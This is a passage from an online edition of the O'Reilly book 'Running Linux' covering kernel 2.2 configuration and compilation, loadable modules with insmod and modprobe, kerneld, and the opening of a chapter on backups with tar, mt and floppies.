*
* Code maturity level options
*
Prompt for development and/or incomplete code/drivers\
(CONFIG_EXPERIMENTAL) [N/y/?]
*
* Processor type and features
*
Processor family (386, 486/Cx486, 586/K5/5x86/6x86,Pentium/K6/TSC,\
PPro/6x86MX) [PPro/6x86MX]
  defined CONFIG_M686
Math emulation (CONFIG_MATH_EMULATION) [N/y/?]
MTRR (Memory Type Range Register) support (CONFIG_MTRR) [N/y/?]
Symmetric multi-processing support (CONFIG_SMP) [Y/n/?]
*
* Loadable module support
*
Enable loadable module support (CONFIG_MODULES) [Y/n/?]
Set version information on all symbols for modules\
(CONFIG_MODVERSIONS) [N/y/?]
Kernel module loader (CONFIG_KMOD) [N/y/?]
*
* General setup
*

Networking support (CONFIG_NET) [Y/n/?]
The linux kernel is now hopefully configured for your setup.
Check the top-level Makefile for additional configuration,
and do a 'make dep ; make clean' if you want to be sure all
the files are correctly re-made

If you understand the hardware present on your machine, the questions should be straightforward. The following questions are found in the kernel configuration for version 2.2. If you have applied other patches, additional questions might appear. The same is true for later versions of the kernel. Note that in the following list we don't show all of the kernel configuration options; there are simply too many of them, and most are self-explanatory. We have highlighted only those that may require further explanation. Remember that if you're not sure how to answer a particular question, the default answer is often the best choice. When in doubt, it is also a good idea to type ? and check the help message.

It should be noted here that not all Linux device drivers are actually built into the kernel. Instead, some drivers are available only as loadable modules, distributed separately from the kernel sources. (As mentioned earlier, some drivers can be either built into the kernel or compiled as modules.) One notable kernel driver available only as a module is the "floppy tape" driver for QIC-117 tape drives that connect to the floppy controller.

If you can't find support for your favorite hardware device in the list presented by make config, it's quite possible that the driver is available as a module or a separate kernel patch. Scour the FTP sites and archive CD-ROMs if you can't find what you're looking for. In the section "Section 7.5, "Loadable Device Drivers"" later in this chapter, kernel modules are covered in detail.

Prompt for development and/or incomplete code/drivers

Answer yes for this item if you want to try new features that aren't considered stable enough by the developers. You do not want this option unless you want to help test new features.

Processor family (386, 486/Cx486, 586/K5/5x86/6x86,
Pentium/K6/TSC, PPro/6x86MX)

Here, you have to specify the CPU type that you have. The kernel will then be compiled with optimizations especially geared towards your machine. Note that if you specify a higher processor here than you actually have, the kernel might not work. Also, the Pentium II MMX is a 686, not a 586 chip.

Math emulation

Answer no if you have a Pentium or better. Answer yes to this item if you do not have a floating-point coprocessor in your machine. This is necessary for the kernel to emulate the presence of a math coprocessor.

MTRR (Memory Type Range Register) support

This enables special support for a feature present only on Pentium II and Pentium Pro systems. If you do not have these CPUs, you do not need this option, but it will not hurt you if you do (it will only make your kernel larger).

Symmetric multi-processing support

This enables kernel support for more than one CPU. If your machine has more than one CPU, say yes here; if not, say no.

Enable loadable module support

This enables the support for dynamically loading additional modules. You definitely want to enable this.

Set version information on all symbols for modules

This is a special option that makes it possible to use a module compiled for one kernel version with another kernel version. There are a number of problems attached to this; say no here unless you know exactly what you are doing.

Kernel module loader

If you enable this option, you can--with the help of a program called kerneld, described later--automatically load and unload dynamically loadable modules as needed.

Networking support

Answer yes to this option if you want any sort of networking support in your kernel (including TCP/IP, SLIP, PPP, NFS, and so on).

PCI support

Enable this option if your motherboard includes the PCI bus and you have PCI-bus devices installed in your system. The PCI BIOS is used to detect and enable PCI devices; kernel support for it is necessary for use of any PCI devices in your system.

System V IPC

Answering yes to this option includes kernel support for System V interprocess communication (IPC) functions, such as msgrcv and msgsnd. Some programs ported from System V require this; you should answer yes unless you have a strong aversion to these features.

Sysctl support

This option instructs the kernel to provide a way to change kernel parameters on-the-fly, without rebooting. It is good idea to enable this unless you have very limited memory, because this option makes the kernel 8 KB larger.

Kernel support for ELF binaries

Enabling this option allows your system to execute Linux binaries stored in Executable and Linkable Format (ELF) format. ELF is a standard format for executables, object files, and system libraries. Such standards are required for the operating system to cooperate with tools such as compilers and linkers. Most current Linux systems store binaries in ELF format, so you should answer yes to this question. Very old Linux systems use the a.out format for binaries.

Parallel port support

Enable this option if you have a parallel port in your system and want to access it from Linux. Linux can use the parallel port not only for printers, but also for PLIP (a networking protocol for parallel lines), ZIP drives, scanners, and other things. In most cases, you will need an additional driver to attach a device to the parallel port.

Plug and Play support

Enable this if you have an ISA Plug-and-Play card in your system. This option does not apply to PCI cards, which are plug and play by nature.

Normal floppy disk support

Answer yes to this option unless you don't want support for floppy drives (this can save some memory on systems where floppy support isn't required).

Enhanced IDE/MFM/RLL disk/cdrom/tape/floppy support

Answer yes to this option unless you don't need MFM/RLL/IDE drive support. After answering yes, you will be prompted for types of devices (hard disks, CD-ROM drives, tape drives, and floppy drives) you want to access over the IDE driver. If you have no IDE hardware (only SCSI), it may be safe to disable this option.

XT harddisk support

Answer yes to this only if you have an older XT disk controller and plan to use it with your Linux system.

Parallel port IDE device support

This option enables support for IDE devices that are attached to the parallel port, such as portable CD-ROM drives.

Networking options

If you previously selected networking support, you will be asked a series of questions about which networking options you want enabled in your kernel. Unless you have special networking needs (in which case you'll know how to answer the questions appropriately), answering the defaults for these questions should suffice. A number of the questions are esoteric in nature (such as IP: Disable Path MTU Discovery) and you should select the defaults for these in almost all cases.

SCSI support

If you have a SCSI controller of any kind, answer yes to this option. You will be asked a series of questions about the specific SCSI devices on your system; be sure you know what type of hardware you have installed. All of these questions deal with specific SCSI controller chips and boards; if you aren't sure what sort of SCSI controller you have, check the hardware documentation or consult the Linux HOWTO documents.

You will also be asked if you want support for SCSI disks, tapes, CD-ROMs, and other devices; be sure to enable the options appropriate for your hardware.

If you don't have any SCSI hardware, you should answer no to this option; it greatly reduces the size of your kernel.

Network device support

This is a series of questions about the specific networking controllers Linux supports. If you plan to use an Ethernet card (or some other networking controller), be sure to enable the options for your hardware. As with SCSI devices, you should consult your hardware documentation or the Linux HOWTO documents (such as the Ethernet HOWTO) to determine which driver is appropriate for your network controller.

Amateur Radio support

This option enables basic support for networking over public radio frequencies like CB. If you have the equipment to use the feature, enable this option and read the AX25 and the HAM HOWTO.

ISDN subsystem

If you have ISDN hardware in your system, enable this option and select the ISDN hardware driver suitable for your hardware. You will most probably also want to select Support synchronous PPP (see Section 15.3, "PPP over ISDN").

Old CD-ROM drivers

This is a series of questions dealing with the specific CD-ROM drivers supported by the kernel, such as the Sony CDU31A/33A, Mitsumi, or SoundBlaster Pro CD-ROM, and so on. If you have a SCSI or IDE CD-ROM controller (and have selected support for it earlier), you need not enable any of these options. Some CD-ROM drives have their own interface boards, and these options enable drivers for them.

Character devices

Linux supports a number of special "character" devices, such as serial and parallel port controllers, QIC-02 tape drives, and mice with their own proprietary interfaces (not mice that connect to the serial port, such as the Microsoft serial mouse). This section also includes the joystick support and the "Video for Linux" drivers that support video and frame-grabbing hardware. Be sure to enable the options corresponding to your hardware.

Filesystems

This is a series of questions for each filesystem type supported by the kernel. As discussed in the section "Section 6.1, "Managing Filesystems"," in Chapter 6, there are a number of filesystem types supported by the system, and you can pick and choose which to include in the kernel. Nearly all systems should include support for the Second Extended and /proc filesystems. You should include support for the MS-DOS filesystem if you want to access your MS-DOS files directly from Linux, and the ISO 9660 filesystem to access files on a CD-ROM (most of which are encoded in this way).

Console drivers

Make sure that you select at least VGA text console in this section, or you won't be able to use your Linux system from the console.

Sound card support

Answering yes to this option presents you with several questions about your sound card, which drivers you wish to have installed, and other details, such as the IRQ and address of the sound hardware.

Kernel hacking

This section contains options that are useful only if you plan on hacking the Linux kernel yourself. If you do not want to do this, answer no.

After running make config or its equivalent, you'll be asked to edit "the top-level Makefile," which means /usr/src/linux/Makefile. In most cases, it's not necessary to do this. If you wanted to alter some of the compilation options for the kernel, or change the default root device or SVGA mode, you could edit the makefile to accomplish this. Setting the root device and SVGA mode can easily be done by running rdev on a compiled kernel image, as we saw in the section "Section 5.2.1, "Using a Boot Floppy"" in Chapter 5, "Essential System Management".

The next step is to run make dep. This issues a series of commands that walk through the directory tree and gather dependencies for source files, adding information to the various makefiles for them. (If you really want to know what's going on here: make dep adds rules for the makefile so that certain code will be recompiled if, say, a header file included by a source file changes.) This step should take five or ten minutes at most to complete.

If you wish to force a complete recompilation of the kernel, you should issue make clean at this point. This removes all object files produced from a previous build from this source tree. If you have never built the kernel from this tree, you're probably safe skipping this step (although it can't hurt). If you are tweaking minor parts of the kernel, you might want to avoid this step so that only those files that have changed will be recompiled. At any rate, running make clean simply ensures the entire kernel will be recompiled "from scratch," and if you're in any doubt, use this command to be on the safe side.

Now you're ready to compile the kernel. This is done with the command make zImage. It is best to build your kernel on a lightly loaded system, with most of your memory free for the compilation. If other users are accessing the system, or if you're trying to run any large applications yourself (such as the X Window System, or another compilation), the build may slow to a crawl. The key here is memory. A slower processor completes the kernel compilation just as rapidly as a faster one, given enough RAM for the task.

The kernel compilation can take anywhere from a few minutes to many hours, depending on your hardware. There is a great deal of code--well over 10 MB--in the entire kernel, so this should come as no surprise. Slower systems with 4 MB (or less) of RAM can expect to take several hours for a complete rebuild; faster machines with more memory can complete in less than half an hour. Your mileage will most assuredly vary.

If any errors or warnings occur while compiling, you cannot expect the resulting kernel to work correctly; in most cases, the build will halt if an error occurs. Such errors can be the result of incorrectly applying patches, problems with the make config and make dep steps, or actual bugs in the code. In the "stock" kernels, this latter case is rare, but is more common if you're working with development code or new drivers under testing. If you have any doubt, remove the kernel source tree altogether and start over.

When the compilation is complete, you will be left with the file zImage in the directory /usr/src/linux/arch/i386/boot. (Of course, if you're attempting to build Linux on a platform other than the Intel x86, the kernel image will be found in the corresponding subdirectory under arch.) The kernel is so named because it is the executable image of the kernel, and it has been internally compressed using the gzip algorithm. When the kernel boots, it uncompresses itself into memory: don't attempt to use gzip or gunzip on zImage yourself! The kernel requires much less disk space when compressed in this way, allowing kernel images to fit on a floppy.

If you pick too much kernel functionality, it can happen that you get a kernel too big error at the end of the kernel compilation. This happens rarely, because you only need a very limited amount of hardware support for one machine, but it can happen. In this case, you have two options: Compile some kernel functionality as modules (see the next section, "Loadable Device Drivers") or use make bzImage instead of make zImage. This will create a kernel that loads itself into high memory but works only with not-so-old Intel machines. You will then find the kernel image in the same directory but with the name bzImage. Don't worry if it took you a lot of time to compile the kernel before. Most of the time spent during the first compile was creating object files that remain on your system and are still usable. So running make bzImage will pick up most of the compiled objects from the earlier run, and this build should go much faster.

You should now run rdev on the new kernel image to verify that the root filesystem device, console SVGA mode, and other parameters have been set correctly. This is described in the section "Section 5.2.1, "Using a Boot Floppy"" in Chapter 5, "Essential System Management".

With your new kernel in hand, you're ready to configure it for booting. This involves either placing the kernel image on a boot floppy, or configuring LILO to boot the kernel from the hard drive. These topics are discussed in the section "Section 5.2, "Booting the System"" in Chapter 5, "Essential System Management". To use the new kernel, configure it for booting in one of these ways, and reboot the system.

Previous | Home | Next
7.3. Using RPM | Book Index | 7.5. Loadable Device Drivers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Loadable Device Drivers (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

7.5. Loadable Device Drivers

Traditionally, device drivers have been included as part of the kernel. There are several reasons for this. First of all, nearly all device drivers require the special hardware access provided by being part of the kernel code. Such hardware access can't be obtained easily through a user program. Also, device drivers are much easier to implement as part of the kernel; such drivers would have complete access to the data structures and other routines in the kernel and could call them freely.

There are several problems with a conglomerate kernel containing all drivers in this way. First of all, it requires the system administrator to rebuild the kernel in order to selectively include device drivers, as we saw in the previous section. Also, this mechanism lends itself to sloppy programming on the part of the driver writers: there's nothing stopping a programmer from writing code that is not completely modular--code which, for example, directly accesses data private to other parts of the kernel. The cooperative nature of the Linux kernel development compounds this problem, and not all parts of the code are as neatly contained as they should be. This can make it more difficult to maintain and debug the code.

In an effort to move away from this paradigm, the Linux kernel supports loadable device drivers--device drivers that are added to or removed from memory at runtime, with a series of commands. Such drivers are still part of the kernel, but they are compiled separately and enabled only when loaded. Loadable device drivers, or modules, are generally loaded into memory using commands in one of the boot-time rc scripts.

Modules provide a cleaner interface for writing drivers. To some extent, they require the code to be somewhat modular and to follow a certain coding convention. (Note that this doesn't actually prevent a programmer from abusing the convention and writing nonmodular code. Once the module has been loaded, it is just as free to wreak havoc as if it were compiled directly into the kernel.) Using modules makes drivers easier to debug; you can simply unload a module, recompile it, and reload it without having to reboot the system or rebuild the kernel as a whole. Modules can be used for other parts of the kernel, such as filesystem types, in addition to device drivers.

Most device drivers, and a lot of other kernel functionality under Linux, are implemented as modules. One of the most popular is the floppy tape driver (or ftape driver), for tape drives that connect to the floppy controller, such as the Colorado Memory Jumbo 120/250 models. If you plan to use this driver on your system, it is good to know how to build, load, and unload modules. While nobody stops you from compiling this module statically into your kernel, a tape drive is something that you need only rarely (normally once a day or so), and its driver shouldn't occupy value RAM during the times it is not needed. See the Linux Ftape HOWTO for more about these devices and supported hardware.

The first thing you'll need is the modules package, which contains the commands used to load and unload modules from the kernel. On the FTP archive sites, this is usually found as modules.tar.gz in the directory where the kernel sources are kept. This package contains the sources to the commands insmod, modprobe, rmmod, and lsmod. Most Linux distributions include these commands (found in sbin). If you already have these commands installed, you probably don't need to get the modules package. However, it can't hurt to get the package and rebuild these commands, to be sure that you have the most up-to-date version.

To rebuild these commands, unpack modules.tar.gz (say, in a subdirectory of /usr/src). Follow the installation instructions contained there; usually all you have to do is execute make followed by make install (as root). The three commands will now be installed in /sbin and ready to use.

A module is simply a single object file containing all of the code for the driver. For example, the ftape module might be called ftape.o. On many systems, the modules themselves are stored in a directory tree below /lib/modules/kernelversion, where you can find different directories for the various types of modules. For example, the modules compiled for the 2.2.2 kernel would be below /lib/modules/2.2.2. You might already have a number of modules on your system; check the appropriate directory.

Modules can be either in the kernel source or external. The former is the case for those device drivers, filesystems, and other functionality that are used most often and that are maintained as part of the official kernel sources. Using these modules is very easy: during the make config, make menuconfig, or make xconfig step, type m to build a feature as a module. Repeat this for everything you want to compile as a module. Then, after the make zImage step, execute the commands make modules and make modules_install. This will compile the modules and install them in /lib/modules/kernelversion. It is a good idea (for reasons to be explained later in this section) to run the command depmod -a afterwards to correct module dependencies.

New modules that are not yet integrated into the official kernel sources, or those that are simply too esoteric to be put into the kernel sources (e.g., a device driver for some custom-built hardware that is not publicly available), can be available as stand-alone, external modules. Unpack the archive of this module, compile it according to the instructions that are hopefully included, and copy the resulting module file to the appropriate subdirectory of /lib/modules/kernelversion. Some modules might also have an install script, or allow you to issue the command make install to perform the last step.

Once you have a compiled module (either from the kernel sources or external), you can load it using the command:

insmod module
where module is the name of the module object file. For example:
insmod /lib/modules/2.2.2/char/ftape.o
installs the ftape driver if it is found in that file.

Once a module is installed, it may display some information to the console (as well as to the system logs), indicating that it is initialized. For example, the ftape driver might display the following:

ftape v1.14 29/10/94 (c) 1993, 1994 Bas Laarhoven (bas@vimec.nl)
  QIC-117 driver for QIC-40 and QIC-80 tape drives
[000] kernel-interface.c (init_module) - installing QIC-117 ftape\
driver....
[001] kernel-interface.c (init_module) - 3 tape_buffers @ 001B8000.
[002]  calibr.c (time_inb) - inb() duration: 1436 nsec.
[003]  calibr.c (calibrate) - TC for `udelay()' = 2944 nsec (at 2049\
counts).
[004]  calibr.c (calibrate) - TC for `fdc_wait()' = 2857 nsec (at 2049\
counts).
The exact messages printed depend on the module, of course. Each module should come with ample documentation describing just what it does and how to debug it if there are problems.

It is likely that insmod will tell you it could not load the module into the kernel because there were "symbols missing." This means that the module you want to load needs functionality from another part of the kernel that is neither compiled into the kernel nor contained in a module already loaded. You could now try to find out which module contains those functions, load that module first with insmod, and try again. You will eventually succeed with this method, but it can be cumbersome, and this would not be Linux if there weren't a better way.

You first need a module database in the file /lib/modules/kernelversion/modules.dep. You can create this database by calling:

depmod -a

This goes through all the modules you have and records whether they need any other modules. With this database in place, you can simply replace the insmod command with the modprobe command, which checks the module database and loads any other modules that might be needed before loading the requested module. For example, our modules.dep file contains--among others--the following line:

/lib/modules/2.0.35/misc/hisax.o:	/lib/modules/2.0.35/misc/isdn.o

This means that in order to load the hisax module (a device driver for a number of ISDN boards), the isdn module must be loaded. If we now load the hisax module with modprobe (this example is slightly simplified, because the hisax module needs additional parameters):

modprobe hisax

modprobe will detect the dependency and load the isdn module.

Some modules need so-called module parameters. For example, a device driver might need to be assigned an interrupt request line (IRQ). You can pass those parameters in the form parametername=parametervalue with both the insmod and the modprobe command. In the following example, several parametes are passed to the hisax module:

tigger # modprobe hisax type=3 protocol=2 io=0x280 irq=10

The documentation for each module should tell you which parameters the module supports.

One caveat about modules if you use the Debian distribution: Debian uses a file /etc/modules where the modules are listed that should be loaded at boot time. If a module that you do not want keeps reappearing, check whether it is listed here.

You can list the drivers that are loaded with the command lsmod, as in:

rutabaga% lsmod
Module:        #pages:		Used by
ftape             40
The memory usage of the module is displayed as well; under Linux, a page is 4 KB. The ftape driver here is using 160 KB of memory. If the other modules are dependent on this module, they are shown in the third column.

A module can be unloaded from memory using the rmmod command. For example:

rmmod ftape
The argument to rmmod is the name of the driver as it appears in the lsmod listing.

Once you have modules working to your satisfaction, you can include the appropriate insmod commands in one of the rc scripts executed at boot time. One of your rc scripts might already include a place where insmod commands can be added, depending on your distribution.

One feature of the current module support is that you must rebuild a module any time you upgrade your kernel to a new version or patch level. (Rebuilding your kernel, but keeping the same kernel version, doesn't require you to do this.) This is done to ensure that the module is compatible with the kernel version you're using. If you attempt to load a module with a newer or older kernel than it was compiled for, insmod will complain and not allow the module to be loaded. When rebuilding a module, you must be running the kernel under which it will be used. Therefore, when upgrading your kernel, upgrade and reboot the new kernel first, then rebuild your modules and load them. There is an option that allows you to keep your modules when switching kernels, but there are a number of problems associated with it, and we recommend against using it.

Previous | Home | Next
7.4. Building a New Kernel | Book Index | 7.6. Loading Modules Automatically
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Loading Modules Automatically (Running Linux)

 Running LinuxSearch this book
Previous Next

7.6. Loading Modules Automatically

The so-called kernel daemon kerneld is an especially useful feature. With the help of this daemon, the kernel can load needed device drivers and other modules automatically and without manual intervention from the system administrator. If the modules are not needed after a period of time (60 seconds), they are automatically unloaded as well.

In order to use kerneld, you need to turn on support for it during kernel configuration, and you also need the System V IPC option. kerneld must be started from one of the system startup files; newer distributions are doing this automatically.

Modules that need other modules must be correctly listed into /lib/modules/kernelversion/modules.dep, and there must be aliases for the major and minor number in /etc/conf.modules. See the documentation from the modules package for further information.

If a module has not been loaded manually with insmod or modprobe, but loaded automatically from kerneld, the module is listed with the addition (autoclean) in the lsmod output. This tells you that kerneld will remove the module if it has not been used for more than one minute.

One last word about kerneld: In the latest kernels, kerneld is obsolete, because there is a new kernel feature called kmod that does the same (by running a separate kernel thread that loads the modules on demand). Still, running kerneld does not hurt.

Previous | Home | Next
7.5. Loadable Device Drivers | Book Index | 8. Other Administrative Tasks
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Other Administrative Tasks (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 8. Other Administrative Tasks

Contents:

Making Backups
Scheduling Jobs Using cron
Managing System Logs
Managing Print Services
Setting Terminal Attributes
What to Do in an Emergency

After reading the previous three chapters, you now have all the skills you need to start using your system. But don't ignore this chapter for long. Some of the activities, such as making backup tapes, are important habits to develop. You may also find it useful to have access to files and programs on MS-DOS and Windows. Finally, we'll help you handle events that you hope will never happen, but sometimes do--system panics and corruption.

8.1. Making Backups

Making backups of your system is an important way to protect yourself from data corruption or loss in case you have problems with your hardware, or you make a mistake such as deleting important files inadvertently. During your experiences with Linux, you're likely to make quite a few customizations to the system that can't be restored by simply reinstalling from your original installation media. However, if you happen to have your original Linux floppies or CD-ROM handy, it may not be necessary to back up your entire system. Your original installation media already serves as an excellent backup.

Under Linux, as with any Unix-like system, you can make mistakes while logged in as root that would make it impossible to boot the system or log in. Many newcomers approach such a problem by reinstalling the system entirely from backup, or worse, from scratch. This is seldom, if ever, necessary. In the section "Section 8.6, "What to Do in an Emergency"," we'll talk about what to do in these cases.

If you do experience data loss, it is sometimes possible to recover that data using the filesystem maintenance tools described in the section "Section 6.1.5, "Checking and Repairing Filesystems"" in Chapter 6, "Managing Filesystems, Swap, and Devices". Unlike some other operating systems, however, it's generally not possible to "undelete" a file that has been removed by rm or overwritten by a careless cp or mv command (for example, copying one file over another destroys the file you're copying to). In these extreme cases, backups are key to recovering from problems.

Backups are usually made to tape or floppy. Neither medium is 100 percent reliable, although tape is more dependable than floppy in the long term. There are many tools available that help you to make backups. In the simplest case, you can use a combination of gzip and tar to back up files from your hard drive to floppy or tape. This is the best method to use when you make only occasional backups, no more often than, say, once a month.

If you have numerous users on your system or you make frequent changes to the system configuration, it makes more sense to employ an incremental backup scheme. Under such a scheme, you would take a "full backup" of the system only about once a month. Then, every week, you would back up only those files that changed in the last week. Likewise, each night, you could back up just those files that changed over the previous 24 hours. There are several tools to aid you in this type of backup.

The idea behind an incremental backup is that it is more efficient to take backups in small steps; you use fewer floppies or tapes, and the weekly and nightly backups are shorter and easier to run. With this method, you have a backup that is at most a day old. If you were to, say, accidentally delete your entire system, you would restore it from backup in the following manner:

  1. Restore from the most recent monthly backup. Say, if you wiped the system on July 17th, you would restore the July 1 full backup. Your system now reflects the state of files when the July 1 backup was made.

  2. Restore from each of the weekly backups made so far this month. In our case, we could restore from the two weekly backups from July 7th and 14th. Restoring each weekly backup updates all of the files that changed during that week.

  3. Restore from each of the daily backups during the last week, that is, since the last weekly backup. In this case, we would restore the daily backups from July 15th and 16th. The system now looks as it did when the daily backup was taken on July 16th; no more than a day's worth of files have been lost.

Depending on the size of your system, the full monthly backup might require 2 GB or more of backup storage--often not more than one tape using today's tape media, but quite a few ZIP disks. However, the weekly and daily backups would generally require much less storage space. Depending on how your system is used, you might decide to take the weekly backup on Sunday night and not bother with daily backups for the weekend.

One important characteristic that backups should (usually) have is the ability to select individual files from the backup for restoration. This way, if you accidentally delete a single file or group of files, you can simply restore those files without having to do a full system restoration. Depending on how you take backups, however, this task will be either very easy or painfully difficult.

In this section, we're going to talk about the use of tar, gzip, and a few related tools for making backups to floppy and tape. We'll even cover the use of floppy and tape drives in the bargain. These tools allow you to take backups more or less "by hand"; you can automate the process by writing shell scripts and even schedule your backups to run automatically during the night using cron. All you have to do is flip tapes. There are other software packages that provide a nice menu-driven interface for creating backups, restoring specific files from backup, and so forth. Many of these packages are, in fact, nice frontends to tar and gzip. You can decide for yourself what kind of backup system suits you best.

8.1.1. Simple Backups

The simplest means of taking a backup is to use tar to archive all the files on the system or only those files in a set of specific directories. Before you do this, however, you need to decide what files to back up. Do you need to back up every file on the system? This is rarely necessary, especially if you have your original installation disks or CD-ROM. If you have made important changes to the system, but everything else is as just the way it was found on your installation media, you could get by only archiving those files you have made changes to. Over time, however, it is difficult to keep track of such changes.

In general, you will be making changes to the system configuration files in /etc. There are other configuration files as well, and it can't hurt to archive directories, such as /usr/lib, /usr/X11R6/lib/X11 (which contains the XFree86 configuration files, as we'll see in the section "Section 10.3, "Installing XFree86"" in Chapter 10, "Installing the X Window System").

You should also back up your kernel sources (if you have upgraded or built your own kernel); these are found in /usr/src/linux.

During your Linux adventures it's a good idea to keep notes on what features of the system you've made changes to so you can make intelligent choices when taking backups. If you're truly paranoid, go ahead and back up the whole system: that can't hurt, but the cost of backup media might.

Of course, you should also back up the home directories for each user on the system; these are generally found in /home. If you have your system configured to receive electronic mail (see the section "Section 16.2.1, "The smail Mail Transport Agent"" in Chapter 16, "The World Wide Web and Electronic Mail" ), you might want to back up the incoming mail files for each user. Many people tend to keep old and "important" electronic mail in their incoming mail spool, and it's not difficult to accidentally corrupt one of these files through a mailer error or other mistake. These files are usually found in /var/spool/mail.

8.1.1.1. Backing up to tape

Assuming you know what files or directories to back up, you're ready to roll. The tar command can be used directly, as we saw in the section "Section 7.1.2, "Using tar"" in Chapter 7, "Upgrading Software and the Kernel", to make a backup. For example, the command:

tar cvf /dev/rft0 /usr/src /etc /home
archives all of the files from /usr/src, /etc, and /home to /dev/rft0. /dev/rft0 is the first "floppy-tape" device--that is, for the type of tape drive that hangs off of the floppy controller. Many popular tape drives for the PC use this interface. If you have a SCSI tape drive, the device names are /dev/st0, /dev/st1, and so on, based on the drive number. Those tape drives with another type of interface have their own device names; you can determine these by looking at the documentation for the device driver in the kernel.

You can then read the archive back from the tape using a command such as:

tar xvf /dev/rft0
This is exactly as if you were dealing with a tar file on disk, as seen in the section "Section 7.1, "Archive and Compression Utilities"" in Chapter 7, "Upgrading Software and the Kernel".

When you use the tape drive, the tape is seen as a stream that may be read from or written to in one direction only. Once tar is done, the tape device will be closed, and the tape will rewind. You don't create a filesystem on a tape, nor do you mount it or attempt to access the data on it as files. You simply treat the tape device itself as a single "file" to create or extract archives from.

Be sure your tapes are formatted before you use them. This ensures that the beginning-of-tape marker and bad-blocks information has been written to the tape. At the time of this writing, no tools exist for formatting QIC-80 tapes (those used with floppy tape drivers) under Linux; you'll have to format tapes under MS-DOS or use preformatted tapes.

Creating one tar file per tape might be wasteful if the archive requires but a fraction of the capacity of the tape. In order to place more than one file on a tape, you must first prevent the tape from rewinding after each use, and you must have a way to position the tape to the next "file marker," both for tar file creation and for extraction.

The way to do this is to use the nonrewinding tape devices, which are named /dev/nrft0, /dev/nrft1, and so on for floppy-tape drivers, and /dev/nrst0, /dev/nrst1, and so on for SCSI tapes. When this device is used for reading or writing, the tape will not be rewound when the device is closed (that is, once tar has completed). You can then use tar again to add another archive to the tape. The two tar files on the tape won't have anything to do with each other. Of course, if you later overwrite the first tar file, you may overwrite the second file or leave an undesirable gap between the first and second files (which may be interpreted as garbage). In general, don't attempt to replace just one file on a tape that has multiple files on it.

Using the nonrewinding tape device, you can add as many files to the tape as space permits. In order to rewind the tape after use, use the mt command. mt is a general-purpose command that performs a number of functions with the tape drive.

For example, the command:

mt /dev/nrft0 rewind
rewinds the tape in the first floppy-tape device. (In this case, you can use the corresponding rewinding tape device as well; however, the tape will rewind just as a side effect of the tape device being closed.)

Similarly, the command:

mt /dev/nrft0 reten
retensions the tape by winding it to the end and then rewinding it.

When reading files on a multiple-file tape, you must use the nonrewinding tape device with tar and the mt command to position the tape to the appropriate file.

For example, to skip to the next file on the tape, use the command:

mt /dev/nrft0 fsf 1
This skips over one file on the tape. Similarly, to skip over two files, use:
mt /dev/nrft0 fsf 2
Be sure to use the appropriate nonrewinding tape device with mt. Note that this command does not move to "file number two" on the tape; it skips over the next two files based on the current tape position. Just use mt to rewind the tape if you're not sure where the tape is currently positioned. You can also skip back; see the mt manual page for a complete list of options.

You need to use mt every time you read a multifile tape. Using tar twice in succession to read two archive files usually won't work; this is because tar doesn't recognize the file marker placed on the tape between files. Once the first tar finishes, the tape is positioned at the beginning of the file marker. Using tar immediately will give you an error message, because tar will attempt to read the file marker. After reading one file from a tape, just use:

mt device fsf 1
to move to the next file.

8.1.1.2. Backing up to floppy

Just as we saw in the last section, the command:

tar cvf /dev/fd0 /usr/src /etc /home
makes a backup of /usr/src, /etc, and /home to /dev/fd0, the first floppy device. You can then read the backup using a command such as:
tar xvf /dev/fd0
Because floppies have a rather limited storage capacity, GNU tar allows you to create a "multivolume" archive. (This feature applies to tapes, as well, but is far more useful in the case of floppies.) With this feature, tar prompts you to insert a new volume after reading or writing each floppy. To use this feature, simply provide the M option to tar, as in:
tar cvMf /dev/fd0 /usr/src /etc /home
Be sure to label your floppies well, and don't get them out of order when attempting to restore the archive.

One caveat of this feature is that it doesn't support the automatic gzip compression provided by the z option (as seen in the previous section). However, there are various reasons why you may not want to compress your backups created with tar, as discussed later. At any rate, you can create your own multivolume backups using tar and gzip in conjunction with a program that reads and writes data to a sequence of floppies (or tapes), prompting for each in succession. One such program is backflops, available on several Linux distributions and on the FTP archive sites. A do-it-yourself way to accomplish the same thing would be to write the backup archive to a disk file and use dd or a similar command to write the archive as individual chunks to each floppy. If you're brave enough to try this, you can figure it out for yourself.

8.1.1.3. To gzip, or not to gzip?

There are good arguments both for and against compression of tar archives when making backups. The overall problem is that neither tar nor gzip is particularly fault-tolerant, no matter how convenient they are. Although compression using gzip can greatly reduce the amount of backup media required to store an archive, compressing entire tar files as they are written to floppy or tape makes the backup prone to complete loss if one block of the archive is corrupted, say, through a media error (not uncommon in the case of floppies and tapes). Most compression algorithms, gzip included, depend on the coherency of data across many bytes in order to achieve compression. If any data within a compressed archive is corrupt, gunzip may not be able to uncompress the file at all, making it completely unreadable to tar.

This is much worse than if the tar file were uncompressed on the tape. Although tar doesn't provide much protection against data corruption within an archive, if there is minimal corruption within a tar file, you can usually recover most of the archived files with little trouble, or at least those files up until the corruption occurs. Although far from perfect, it's better than losing your entire backup.

A better solution would be to use an archiving tool other than tar to make backups. There are several options available. cpio is an archiving utility that packs files together, similar in fashion to tar. However, because of the simpler storage method used by cpio, it recovers cleanly from data corruption in an archive. (It still doesn't handle errors well on gzipped files.)

The best solution may be to use a tool such as afio. afio supports multivolume backups and is similar in some respects to cpio. However, afio includes compression and is more reliable because each individual file is compressed. This means that if data on an archive is corrupted, the damage can be isolated to individual files, instead of to the entire backup.

These tools should be available with your Linux distribution, as well as from all of the Internet-based Linux archives. A number of other backup utilities, with varying degrees of popularity and usability, have been developed or ported for Linux. If you're serious about backups, you should look into them.[32] Among those programs are the freely available are taper and tob, as well as commercial programs like ARKEIA and Perfect Backup.

[32]Of course, this section was written after the author took the first backup of his Linux system in nearly four years of use!

8.1.2. Incremental Backups

Incremental backups, as described earlier in this chapter, are a good way to keep your system backups up to date. For example, you can take nightly backups of only those files that changed in the last 24 hours, weekly backups of all files that changed in the last week, and monthly backups of the entire system.

You can create incremental backups using the tools mentioned above: tar, gzip, cpio, and so on. The first step in creating an incremental backup is to produce a list of files that changed since a certain amount of time ago. This is easily done with the find command.[33] If you use a special backup program, you will most likely not have to do this, but set some option somewhere that you want to do an incremental backup.

